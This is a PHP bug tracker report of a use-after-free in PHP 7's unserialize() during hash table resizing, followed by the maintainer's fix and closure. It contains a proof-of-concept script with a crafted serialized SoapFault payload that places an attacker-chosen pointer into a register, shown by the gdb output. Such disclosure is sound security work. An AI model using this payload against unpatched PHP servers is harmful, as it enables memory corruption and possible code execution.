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Bug #70211 php 7 ZEND_HASH_IF_FULL_DO_RESIZE use after free
Submitted: 2015-08-08 02:09 UTC Modified: 2015-08-10 08:55 UTC
From: niubl at knownsec dot com Assigned: laruence
Status: Closed Package: SOAP related
PHP Version: 7.0.0beta3 OS: ubuntu 14.04 x86_64
Private report: No CVE-ID:
 [2015-08-08 02:09 UTC] niubl at knownsec dot com
Description:
------------
the Hash table is full, resize it,ZEND_HASH_IF_FULL_DO_RESIZE(ht),but if one elment is already allocate in the old memery and re-allocate in the new memry and the var_hash struct also exists the old memery for the element, it can cause a use after free when unserialize() function has r/R referer.
my english is poor. i hope i can explain clearly to you.

Test script:
---------------
<?php

$addr = 0x4141414141414141;

$sf = new SoapFault('1', 'string', 'detail', 'header','line', str_repeat("A",232).ptr2str($addr));
$ob = unserialize("a:3:{i:0;".serialize($sf).'i:1;r:12;i:2;r:10;}');
//var_dump($ob);

function ptr2str($ptr)
{
    $out = "";
    for ($i=0; $i<8; $i++) {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}

?>

Actual result:
--------------
(gdb) disassemble $rip
……
   0x000000000068cfe5 <+3109>:	cmp    $0xffffffffffffffff,%rsi
   0x000000000068cfe9 <+3113>:	je     0x68c538 <php_var_unserialize_ex+376>
   0x000000000068cfef <+3119>:	mov    (%rbx),%rdi
   0x000000000068cff2 <+3122>:	callq  0x4276f3 <var_access>
   0x000000000068cff7 <+3127>:	test   %rax,%rax
   0x000000000068cffa <+3130>:	je     0x68c538 <php_var_unserialize_ex+376>
   0x000000000068d000 <+3136>:	mov    (%rax),%rdx
   0x000000000068d003 <+3139>:	mov    0x8(%rax),%eax
   0x000000000068d006 <+3142>:	test   $0x4,%ah
   0x000000000068d009 <+3145>:	mov    %rdx,(%r14)
   0x000000000068d00c <+3148>:	mov    %eax,0x8(%r14)
   0x000000000068d010 <+3152>:	je     0x68c62c <php_var_unserialize_ex+620>
=> 0x000000000068d016 <+3158>:	addl   $0x1,(%rdx)
   0x000000000068d019 <+3161>:	mov    $0x1,%eax
   0x000000000068d01e <+3166>:	jmpq   0x68c53a <php_var_unserialize_ex+378>
   0x000000000068d023 <+3171>:	nopl   0x0(%rax,%rax,1)
   0x000000000068d028 <+3176>:	cmp    $0x3a,%al
   0x000000000068d02a <+3178>:	jne    0x68c538 <php_var_unserialize_ex+376>
   0x000000000068d030 <+3184>:	cmpb   $0x22,0x2(%r12)
   0x000000000068d036 <+3190>:	jne    0x68c538 <php_var_unserialize_ex+376>
   0x000000000068d03c <+3196>:	lea    0x85e11d(%rip),%rax        # 0xeeb160 <zend_standard_class_def>
   0x000000000068d043 <+3203>:	mov    %rbp,%rsi
   0x000000000068d046 <+3206>:	mov    %r14,%rdi
   0x000000000068d049 <+3209>:	mov    %r11,0x10(%rsp)
   0x000000000068d04e <+3214>:	mov    (%rax),%rdx
   0x000000000068d051 <+3217>:	callq  0x42773c <object_common1>


(gdb) info reg
rax            0x1400	5120
rbx            0x7fffb2f37fe0	140736195690464
rcx            0xb	11
rdx            0x4141414141414141	4702111234474983745
rsi            0x9	9
rdi            0x7f7d6f854820	140176718645280
rbp            0x7fffb2f37fd8	0x7fffb2f37fd8
rsp            0x7fffb2f37e40	0x7fffb2f37e40
r8             0x0	0
r9             0x652ec731c4b	6953224051787
r10            0x79812b	7962923
r11            0x0	0
r12            0x7f7d6f87b2b1	140176718803633
r13            0x72	114
r14            0x7f7d6f85ba60	140176718674528
r15            0x7f7d6f87b2b2	140176718803634
rip            0x68d016	0x68d016 <php_var_unserialize_ex+3158>
eflags         0x10202	[ IF RF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
(gdb) bt
#0  0x000000000068d016 in php_var_unserialize_ex (rval=rval@entry=0x7f7d6f85ba60, p=p@entry=0x7fffb2f37fd8, max=max@entry=0x7f7d6f87b2b2 "", var_hash=var_hash@entry=0x7fffb2f37fe0, 
    classes=classes@entry=0x0) at /home/knownsec/Downloads/php-7.0.0beta2/ext/standard/var_unserializer.c:1246
#1  0x000000000068cd03 in process_nested_data (rval=0x7f7d6f85ba60, objprops=0, elements=0, ht=0x7f7d6f855348, classes=0x0, var_hash=0x7fffb2f37fe0, max=0x7f7d6f87b2b2 "", p=0x7fffb2f37fd8)
    at /home/knownsec/Downloads/php-7.0.0beta2/ext/standard/var_unserializer.c:389
#2  php_var_unserialize_ex (rval=rval@entry=0x7f7d6f812160, p=p@entry=0x7fffb2f37fd8, max=0x7f7d6f87b2b2 "", var_hash=var_hash@entry=0x7fffb2f37fe0, classes=classes@entry=0x0)
    at /home/knownsec/Downloads/php-7.0.0beta2/ext/standard/var_unserializer.c:870
#3  0x000000000067f0ed in zif_unserialize (execute_data=<optimized out>, return_value=0x7f7d6f812160) at /home/knownsec/Downloads/php-7.0.0beta2/ext/standard/var.c:1037
#4  0x00000000007510ed in ZEND_DO_ICALL_SPEC_HANDLER () at /home/knownsec/Downloads/php-7.0.0beta2/Zend/zend_vm_execute.h:577
#5  0x00000000007412ab in execute_ex (ex=<optimized out>) at /home/knownsec/Downloads/php-7.0.0beta2/Zend/zend_vm_execute.h:406
#6  0x000000000078d8ef in zend_execute (op_array=op_array@entry=0x7f7d6f883000, return_value=return_value@entry=0x0) at /home/knownsec/Downloads/php-7.0.0beta2/Zend/zend_vm_execute.h:450
#7  0x000000000070473e in zend_execute_scripts (type=type@entry=8, retval=retval@entry=0x0, file_count=file_count@entry=3) at /home/knownsec/Downloads/php-7.0.0beta2/Zend/zend.c:1399
#8  0x00000000006a7710 in php_execute_script (primary_file=primary_file@entry=0x7fffb2f3a510) at /home/knownsec/Downloads/php-7.0.0beta2/main/main.c:2475
#9  0x000000000078f163 in do_cli (argc=2, argv=0xff39f0) at /home/knownsec/Downloads/php-7.0.0beta2/sapi/cli/php_cli.c:971
#10 0x000000000042c520 in main (argc=2, argv=0xff39f0) at /home/knownsec/Downloads/php-7.0.0beta2/sapi/cli/php_cli.c:1338


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History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-08-10 08:55 UTC] laruence@php.net
-Assigned To: +Assigned To: laruence
 [2015-08-10 09:09 UTC] laruence@php.net
Automatic comment on behalf of laruence
Revision: http://git.php.net/?p=php-src.git;a=commit;h=be54eb7db10c6aa838cef969822a5ae0f4e605e3
Log: Fixed bug #70211 (php 7 ZEND_HASH_IF_FULL_DO_RESIZE use after free)
 [2015-08-10 09:09 UTC] laruence@php.net
-Status: Assigned +Status: Closed
 [2015-08-18 16:24 UTC] ab@php.net
Automatic comment on behalf of laruence
Revision: http://git.php.net/?p=php-src.git;a=commit;h=be54eb7db10c6aa838cef969822a5ae0f4e605e3
Log: Fixed bug #70211 (php 7 ZEND_HASH_IF_FULL_DO_RESIZE use after free)
 [2016-07-20 11:37 UTC] davey@php.net
Automatic comment on behalf of laruence
Revision: http://git.php.net/?p=php-src.git;a=commit;h=be54eb7db10c6aa838cef969822a5ae0f4e605e3
Log: Fixed bug #70211 (php 7 ZEND_HASH_IF_FULL_DO_RESIZE use after free)
 
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